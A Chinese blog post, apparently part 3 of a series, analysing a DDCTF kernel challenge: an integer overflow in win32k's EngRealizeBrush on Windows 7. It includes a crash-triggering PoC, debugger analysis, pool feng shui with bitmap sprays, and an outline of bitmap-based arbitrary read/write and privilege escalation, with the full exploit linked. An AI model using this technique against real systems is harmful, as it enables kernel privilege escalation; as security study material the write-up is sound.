windows kernel exploit part 3

前言

Hello, 欢迎来到windows kernel exploit的第三篇. 在这一篇中, 我们主要会学习如何从poc分析到exp, 材料来源于DDCTF kernle pwn的第一题(cve-2017-0047).

DDCTF的学习在我github上面更新完了那个库之后, 由于我之前做过整数溢出的学习, 加上做第二题的时候已经知道这是一个整数溢出的漏洞, and windows7的保护措施少的可怜, 所以我当时和师父说, 我觉得蛮简单的样子, 然后师父说, 是么, 那么把你看过的东西全忘了再做一遍. 于是… 对不起, 打扰了.

这篇文章的过程我会把自己的分析思路给贴出来. 离写出利用到写这篇博客已经过了很久了, 在这个过程当中对内核学习也有了新的看法. 现在的我觉得, 分析是最难的部分. 所以这篇文章会冗长一点. 希望您不要介意.

这篇文章主要分为一下几个部分

[+] poc分析 --> 定位漏洞点
[+] 内核代码分析 --> 定位可以利用的数据
[+] fengshui: 构造可利用的数据
[+] run shellcode: 进行提权

Let’s Go

POC 分析

环境准备

下载的文件打开截图如下:

poc代码

查阅资料得知UUENCODE加密, 改后缀名为uu, 之后采用winrar解压即可.

逆向POC文件

说是逆向. 其实就是一个F5的过程. 如下:

poc逆向

于是我整理了一下源码(循环不方便调试, 所以我把循环去掉了. 之后发现还是可行的):

#include <Windows.h>
#include <iostream>

/*
* triggerVul:
*    [+] 触发此漏洞
*/
VOID triggerTheVul()
{
    HDC hDc; // edi@1
    HDC hdcCall; // esi@1
    HICON hIcon; // ebx@1
    HBITMAP hBitMap; // eax@1
    HBRUSH i; // esi@1

    hDc = GetWindowDC(0);
    hdcCall = CreateCompatibleDC(hDc);
    hIcon = LoadIconW(0, (LPCWSTR)0x7F02);

    hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1);    // 这个地方分配的大小得改为0x18
    i = CreatePatternBrush(hBitMap);
    __debugbreak();
    DrawIconEx(hDc, 0, 0x11223344, hIcon, 0x5566, 0x7788, 0x12345678u, i, 8u);
}

int main()
{
    std::cout << "[+] Trigger The vul!!!" << std::endl;
    triggerTheVul();
    return 0;
}

需要注意的是, 我在源码当中加了一句__debugbreak(). 相当于一个断点. 程序运行到此的时候会停下来, 这个语句十分方便内核的exp编写调试.

编译运行程序的验证过程如下:

验证

记录关键信息

采用!analyze -v指令.

崩溃指令

崩溃指令和寄存器的信息

需要注意的是, 由于我们是拥有vmware的, 所以可以有效的利用虚拟机镜像绕过KASLR, 也就是这些指令的地址是固定的. 这样的话我们可以记录一下关键的信息方便调试.

[+] 有用的调试断点记录(一开始记录的地址多谢, 这两个是我后面写博客的用到的):

[+] 9803d6aa -- 赋值操作起始的地方
[+] 9803d730 -- 漏洞相关的pool分配的地方
[+] 980651e0 -- 漏洞崩溃处

[+] 留意:

[+] eax的值
    ==> 为F820 0000, 值很大(请留意这个结论)
    ==> ???? 代表不可访问
    ==> 向不能访问的地方进行了写操作
[+] 发生在vSrcCopyS1D32当中
崩溃原因

崩溃原因

[+] 查阅windows的文档:

windows官方文档

[+] 留意:

[+] 崩溃的原因是由于对非法的内存进行了写操作

崩溃堆栈

崩溃的堆栈信息

[+] 堆栈信息的每一项的格式如下

ebp 函数返回地址 第一个参数 第二个参数 ...

[+] 由上面的思路我们可以记录如下信息

98065145 win32k!vSrcCopyS1D32+0xa5
9b20f840 win32k!EngCopyBits+0x604
9b20f900 win32k!EngRealizeBrush+0x462
9b20f998 win32k!bGetRealizedBrush+0x70c
9b20f9b0 win32k!pvGetEngRbrush+0x1f
9b20fa14 win32k!EngBitBlt+0x2bf
9b20fa78 win32k!GrePatBltLockedDC+0x22b
9b20fb24 win32k!GrePolyPatBltInternal+0x176
9b20fb60 win32k!GrePolyPatBlt+0x45
9b20fba8 win32k!_DrawIconEx+0x153
9b20fc00 win32k!NtUserDrawIconEx+0xcb
9b20fc00 nt!KiFastCallEntry+0x12a
001af930 ntdll!KiFastSystemCallRet
001af934 USER32!NtUserDrawIconEx+0xc
001af990 USER32!DrawIconEx+0x260

推测漏洞类型

分析

首先, 在IDA当中获取崩溃指令的位置:

崩溃指令

c代码对应如下:

崩溃指令c代码

这里我要吹一个叫做source insight的阅读源码的工具. 极大的方便了我阅读源码的过程. 此处在windows NT4对应的源码如下:

对应的源码

是不是感觉有点慌, 什么都看不懂了, 这些变量名又是干啥的呢. 没关系的, 我们来整合一下资源.

[+] 变量名猜测这应该是做类似于由jSrc(源)向pulDst(目的地址)的赋值操作.
[+] 由源码可以推出v17类似于pjSrc的长度
[+] 复杂的部分可以通过调试器来验证它.

调试器部分的分析

首先, 采用IDA逆向一下关键函数vSrcCopyS1D32:

vSrcCopyS1D32函数原型

可以得到参数只有一个, 且是一个指针. 接着我们在vSrcCopyS1D32函数起始的地方设下断点. 运行到此, 打印出指针的值以及其对应的结构体内容.

断点设置
指针之乡的结构体

运行到崩溃指令处.

运行状态

我们看下windows nt源码里面的各项定义:

结构体定义

可以看到eax的值是和pjDst联系起来的. 有前面的源码我们推测出v17类似于字符串长度. 不如来验证他.

使用IDA找到v17对应的汇编指令.

v17对应的汇编指令

在windbg当中运行到此打印出其值:

v17的值

由于不小心失误多操作了一次, 所以我们的值多减了一次一, 在后面我把它加回来了. 1bd5a000就是我们推测的长度. 对应BLTINFO结构体成员变量lDeltaSrc, 在其中我发现了一句有趣的注释:

注释

所以验证了我的长度推测. 只是它复制的不是字符串. 而是其他的东西.

如果有点绕的话让我们来总结一下目前获得的信息:

[+] pulDst指向目标地址
[+] jSrc指向了目标字符串.
[+] 由jSrc向pulDst运送v17长度的东西A

接下来开始我们的推测之旅.

第一步

如果是我们自己写字符串操作的话. 大概如下:

int len = 20;
char * Dst = memset(len);
for(int i = 0; i < 20; i++) // 注意这里
    Dst[i] = Src[i];

什么时候会崩溃呢. 比如:

int len = 20
char * Dst = memset(len);
for(int i = 0; i < 20+0x1000; i++)  // 注意这里
    Dst[i] = Src[i];

由前面的分析我们知道了他是一个写操作. 所以应该是目的字符串(代指)与其长度不匹配照成的. 为什么会不匹配. 由于这个地址的字符串长度比较大, 所以我猜测它应该是一个pool, 而不是堆栈. 于是我运行了如下命令.

pool

其中需要留意的信息有:

[+] Gebr为其tag. 
[+] 0x17ab5000与其复制的length是十分不一致的. 当然也有可能是由于其有特殊的运算规则.
[+] 漏洞相关的pool存在paged session pool

所以在这里我就已经可以开始推测其为整数溢出了. 理由如下

[+] 正常逻辑下size与其实际大小应该是一一对应的.
[+] 此处记录的size远大于其实际大小
[+] 推测:
    ==> size被记录
    ==> 某种特殊的规则导致分配实际大小溢出变小

第二步

于是借助于tag(tag真的很有用)与前面的逻辑分析. 我定位到了分配此内存的点. 在EngRealizeBrush函数当中.

执行分配的代码

代码的修复你依旧可以参照可爱的windows nt的源码来完成. 与ulSizeTotal相关的赋值语句在这里.

执行分配的代码

可能你会比较疑惑的是各个变量的意义是什么, 与前面的思路一样, 我采用了动态调试验证.(定位到函数流, 跟着走一遍, 观察相应变量的值). 给出结论之前先看我们POC代码中的CreateDiscardableBitmap函数.

CreateDiscardableBitmap

动态调试得到的结论是:

[+] cjsCanpat = (cx * 0x20 >> 3);
[+] v49 = cjScanpat * cy
[+] ulSizeTotal = cjsPanat * cyInput * 0x44

[+] 整理扩展一下pool整体分配的公式:

poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40 + 0x8(x86下的pool header)

我们原来POC传入的大小是:

hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1);

借助于windbg, 让我们来算一下我们的结论是否正确:

aa

我们可以看到和我们前面的size(0x17ab5000)完全扯不上关系, 这是由于windbg实现的是无溢出的结果. 需要留意的是我们的1bd5a出现了

而另外一个方面我编写了如下的c程序来看看程序的输出.

aa

bingo, 所以错误出现了, 我们看到了溢出的曙光.

这里的溢出一共有三个位置:

[+] cx * 0x20
[+] ((cx * 0x20) >> 3) * cy + 44
[+] poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40

利用思路

在后面的故事当中, 我查阅了的这篇文章. 获取了利用思路.

查阅了小刀师傅给的一个关键数据.

数据大小

我们选取的大小为0x10(后面我会解释0x10的分配为什么合适), 漏洞分配的pool整体大小是`0x10+8(header)

验证:

数据大小

之后的利用思路如下:

[+] 风水布局布置成0xf80(bitmap)+0x18(空闲)地址
[+] 触发漏洞使其填充0x18
[+] 利用后面的代码覆盖相连的bitmapA的一个关键变量扩充其读写能力
[+] 利用bitmapA扩充之后的读写能力去覆盖相连的bitmapB的pvScan0
[+] bitmapB成为manager bitmap
    任意选取一个worker bitmap
[+] 由worker bitmap来实现任意读写

听着有点乱? 让我们一步一步的来.

pool fengshui

我们最后的布局效果如下

0xfe8(bitmap alloc) + 0x18(free)

首先来解释为什么需要是这个布局(细节可以在这里找到):

[+] fe8大小的内存块会放在页的开头. 释放相连堆块的时候不会进行`pool header`有无被破坏的检测
[+] 0x18会被内核漏洞点分配的pool填充
[+] 漏洞的结构体是paged session pool --> 这个信息对pool fengshui十分有用.
实现.

fengshui布局这里我不会讲的太细, 因为在后面的一篇爬坑指南当中我会去详细的解释fengshui布局的相关爬坑.

首先我们要选取合适的数据. 也就是刚刚可以分配0xfe8大小的pool, 以及此分配的pool应该为non page pool. 于是我想到了我在github上面维护的那个项目.
使用CreateBitmap是一个很好的选择.

在调试之后(具体的调试技术在我的另外一篇爬坑文章). 再保持其余参数不变的情况下. 随着width的关系如下:

// size = ((width-100) * 0x2) + 0x360

for (int i = 0; i < 0x1000; i++)
{
    hBitmap[i] = CreateBitmap(0x744, 2, 1, 8, NULL);
}

验证:

aa

而另外一个0x18的分配我采用了k0shi师傅的Class进行了分配, 这几天发现了lpszMenuName也适合(请期待我的fengshui布局的文章). 代码如下.

填充0x18

最后的结果验证:

fengshui验证

当前读写能力.

bitmap对应的在内核当中的结构体如下(来源: 小刀师傅的博客)

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

微软有两个API函数:

GetBitmapBits
SetBitmapBits

其中pvBits参数存放一些字符串. 会放到pvScan0指向的地方. 而能够读写的能力是由SIZEL sizlBitmap决定的.

其能够读写的size = cx *cy. 所以当其中的数据如果原来的cx = 1, cy = 2. 原有的读写能力应该是2 * 2 = 2. 如果能覆盖其关键变量cx = f, cy = f. 现有的读写能力就为f * f = e1. 利用扩充的读写能力. 我们就可以对此bitmap相连的另外一个bitmap实现读写. 修改器pvScan0的值. 从而实现任意读写(bitmap滥用会在我的另外一篇博客里面).

现在, 让我们来观察一下污染前后的数据对比.

污染数据对比

可以看到我们的读写能力发生了天大的变化:

读写能力

而在IDA对应的污染数据的代码如下:

污染数据代码

这里可以看到我们的污染最多只能可控到0x3c处, 这就是我们的size为什么要分配0x10的理由.

bitmap滥用获取任意读写权限.

在今天或者明天, 我会更新bitmap滥用的细节性分析(从windows7到windows10). 所以在这里就不再赘述.

我这里讲一些其他的操作. 根据前面的读写能力的改变. 我们能够得到哪一个bitmap被覆盖.

寻找读写的bitmap

fix header

我们可以通过前面的数据对比获取哪些成员变量被破坏了, 依赖于我们的bitmap获取了任意读写. 能够很轻松的实现修复. 其中修复handle那里. 在我上面的截图紫色的部分. 发现其残留了一个handle的备份. 实现了恢复. 也借助于此. 我获取了hmanager的句柄值. 相关的代码如下:

fixheader

提权.

提权与我的第二篇博客类似, 都是替换nt!haldispatchtable的指针. 你可以去看一下我的第二篇博客

代码:

提权代码

验证:

验证

后记

DDCTF困扰我的点主要在分析那里, 我花了较长的时间分析其中怎么控制内核中的数据. 做的不太好的地方是构造数据那里. 实在无法了才借用了小刀师傅的数据.学到了很多的东西. 也改变了我对做内核的一些看法. anyway, 希望这一篇文章能够对你有一点点小小的帮助.

最后, wjllz是人间笨蛋.

相关链接:

[+] sakura师父博客: http://eternalsakura13.com/
[+] 小刀师傅博客: https://xiaodaozhi.com/
[+] 整数溢出利用思路: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
[+] 本文exp: https://github.com/redogwu/cve-study-write/tree/master/cve-2017-0401
[+] k0shi师傅的exp: https://github.com/k0keoyo/DDCTF-KERNEL-PWN550
[+] 我的个人博客: http://www.redog.me/
[+] 我的github地址: https://github.com/redogwu 

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. POC 分析
    1. 2.1. 环境准备
    2. 2.2. 逆向POC文件
    3. 2.3. 记录关键信息
      1. 2.3.1. 崩溃指令
        1. 2.3.1.1. 崩溃原因
      2. 2.3.2. 崩溃堆栈
    4. 2.4. 推测漏洞类型
    5. 2.5. 分析
    6. 2.6. 调试器部分的分析
      1. 2.6.1. 第一步
      2. 2.6.2. 第二步
      3. 2.6.3. 利用思路
      4. 2.6.4. pool fengshui
        1. 2.6.4.1. 实现.
        2. 2.6.4.2. 当前读写能力.
        3. 2.6.4.3. bitmap滥用获取任意读写权限.
        4. 2.6.4.4. fix header
        5. 2.6.4.5. 提权.
  3. 3. 验证:
  4. 4. 后记
  5. 5. 相关链接:
,